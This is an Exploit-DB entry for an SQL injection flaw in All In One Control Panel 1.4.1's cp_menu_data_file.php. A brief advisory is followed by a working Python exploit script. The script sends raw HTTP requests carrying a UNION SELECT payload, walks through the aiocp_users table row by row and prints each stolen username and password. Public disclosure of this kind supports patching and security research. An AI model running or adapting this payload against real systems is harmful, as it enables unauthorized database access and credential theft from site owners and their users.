All In One Control Panel 1.4.1 - 'cp_menu_data_file.php' SQL Injection

EDB-ID:

35307

CVE:

N/A


Platform:

PHP

Published:

2011-01-31

source: https://www.securityfocus.com/bid/46097/info

All In One Control Panel (AIOCP) is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

AIOCP 1.4.001 is vulnerable; other versions may also be affected. 

import re, socket

host = 'localhost'
port = 80

r = re.compile('\'([^\']+):([^\s]+)\sLIMIT')

# Search user ids 0 through 16
for i in range(0,16):


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)
    s.send("GET /AIOCP/public/code/cp_menu_data_file.php?menu='or%201=1%20UNION%20ALL%20SELECT%201,0,CONCAT(',',user_name,':',user_password)%20as%20menulst_name,0%20FROM%20aiocp_users%20ORDER%20BY%20menulst_style%20LIMIT%20" + str(i) + ",1;%23 HTTP/1.1\r\n"
           'Host: ' + host + '\r\n'
           '\r\n')

    resp = s.recv(8192)

    m = r.search(resp)

    if m is None: continue

    print 'Username: ' + m.group(1) + '\nPassword: ' + m.group(2) + '\n'